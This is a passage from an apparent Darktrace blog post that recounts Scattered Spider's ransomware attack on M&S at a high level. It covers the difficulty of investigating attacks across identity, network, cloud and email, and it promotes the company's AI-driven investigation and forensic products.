
Once authenticated on the network, they accessed the Windows domain controller and exfiltrated the NTDS.dit file – a critical file containing hashed passwords for all users in the domain. After cracking those hashes offline, they returned to the network with escalated privileges and set their sights on the M&S cloud infrastructure. They then launched the encryption payload on the company’s ESXi virtual machines.

To wrap up, the threat actors used a compromised employee’s email account to send an “abuse-filled” email to the M&S CEO, bragging about the hack and demanding payment. This was possibly more of a psychological attack on the CEO than a technically integral part of the cyber kill chain. However, it revealed yet another one of M&S’s domains had been compromised.  

In summary, the group’s attack spanned four different domains:

Identity: Social engineering user impersonation

Network: Exfiltration of NTDS.dit file

Cloud: Ransomware deployed on ESXI VMs

Email: Compromise of user account to contact the CEO

Adept at exploiting nuance

This year alone, several high-profile cyber-attacks have been attributed to the same group, Scattered Spider, including the hacks on Victoria’s Secret, Adidas, Hawaiian Airlines, WestJet, the Co-op and Harrods. It begs the question, what has made this group so successful?

In the M&S attack, they showcased their advanced proficiency in social engineering, which they use to bypass identity controls and gain initial access. They demonstrated deep knowledge of cloud environments by deploying ransomware onto virtualised infrastructure. However, this does not exemplify a cookie-cutter template of attack methods that brings them success every time.

According to CISA, Scattered Spider typically use a remarkable variety of TTPs (tactics, techniques and procedures) across multiple domains to carry out their campaigns. From leveraging legitimate remote access tools in the network, to manipulating AWS EC2 cloud instances or spoofing email domains, the list of TTPs used by the group is eye-wateringly long. Additionally, the group reportedly evades detection by “frequently modifying their TTPs”.  

If only they had better intentions. Any security director would be proud of a red team who not only has this depth and breadth of domain-centric knowledge but is also consistently upskilling.  

Yet, staying ahead of adversaries who seamlessly move across domains and fluently exploit every system they encounter is just one of many hurdles security teams face when investigating cross-domain attacks.  

Resource-heavy investigations

There was a significant delay in time to detection of the M&S intrusion. News outlet BleepingComputer reported that attackers infiltrated the M&S network as early as February 2025. They maintained persistence for weeks before launching the attack in late April 2025, indicating that early signs of compromise were missed or not correlated across domains.

While it’s unclear exactly why M&S missed the initial intrusion, one can speculate about the unique challenges investigating cross-domain attacks present.  

Challenges of cross-domain investigation

First and foremost, correlation work is arduous because the string of malicious behaviour doesn’t always stem from the same device.  

A hypothetical attack could begin with an O365 credential creating a new email rule. Weeks later, that same credential authenticates anomalously on two different devices. One device downloads an .exe file from a strange website, while the other starts beaconing every minute to a rare external IP address that no one else in the organisation has ever connected to. A month later, a third device downloads 1.3 GiB of data from a recently spun up S3 bucket and gradually transfers a similar amount of data to that same rare IP.

Amid a sea of alerts and false positives, connecting the dots of a malicious attack like this takes time and meticulous correlation. Factor in the nuanced telemetry data related to each domain and things get even more complex.  

An analyst who specialises in network security may not understand the unique logging formats or API calls in the cloud environment. Perhaps they are proficient in protecting the Windows Active Directory but are unfamiliar with cloud IAM.  

Cloud is also an inherently more difficult domain to investigate. With 89% of organizations now operating in multi-cloud environments time must be spent collecting logs, snapshots and access records. Coupled with the threat of an ephemeral asset disappearing, the risk of missing a threat is high. These are some of the reasons why research shows that 65% of organisations spend 3-5 extra days investigating cloud incidents.  

Helpdesk teams handling user requests over the phone require a different set of skills altogether. Imagine a threat actor posing as an employee and articulately requesting an urgent password reset or a temporary MFA deactivation. The junior Helpdesk agent— unfamiliar with the exception criteria, eager to help and feeling pressure from the persuasive manipulator at the end of the phoneline—could easily fall victim to this type of social engineering.  

Empowering analysts through intelligent automation

Even the most skilled analysts can’t manually piece together every strand of malicious activity stretching across domains. But skill alone isn’t enough. The biggest hurdle in investigating these attacks often comes down to whether the team have the time, context, and connected visibility needed to see the full picture.

Many organizations attempt to bridge the gap by stitching together a patchwork of security tools. One platform for email, another for endpoint, another for cloud, and so on. But this fragmentation reinforces the very silos that cross-domain attacks exploit. Logs must be exported, normalized, and parsed across tools a process that is not only error-prone but slow. By the time indicators are correlated, the intrusion has often already deepened.

That’s why automation and AI are becoming indispensable. The future of cross-domain investigation lies in systems that can:

  • Automatically correlate activity across domains and data sources, turning disjointed alerts into a single, interpretable incident.
  • Generate and test hypotheses autonomously, identifying likely chains of malicious behaviour without waiting for human triage.
  • Explain findings in human terms, reducing the knowledge gap between junior and senior analysts.
  • Operate within and across hybrid environments, from on-premise networks to SaaS, IaaS, and identity systems.

This is where Darktrace transforms alerting and investigations. Darktrace’s Cyber AI Analyst automates the process of correlation, hypothesis testing, and narrative building, not just within one domain, but across many. An anomalous O365 login, a new S3 bucket, and a suspicious beaconing host are stitched together automatically, surfacing the story behind the alerts rather than leaving it buried in telemetry.

How threat activity is correlated in Cyber AI Analyst
Figure 2: How threat activity is correlated in Cyber AI Analyst

By analyzing events from disparate tools and sources, AI Analyst constructs a unified timeline of activity showing what happened, how it spread, and where to focus next. For analysts, it means investigation time is measured in minutes, not days. For security leaders, it means every member of the SOC, regardless of experience, can contribute meaningfully to a cross-domain response.

Figure 3: Correlation showcasing cross domains (SaaS and IaaS) in Cyber AI Analyst

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

What once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

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About the author
Benjamin Druttman
Cyber Security AI Technical Instructor
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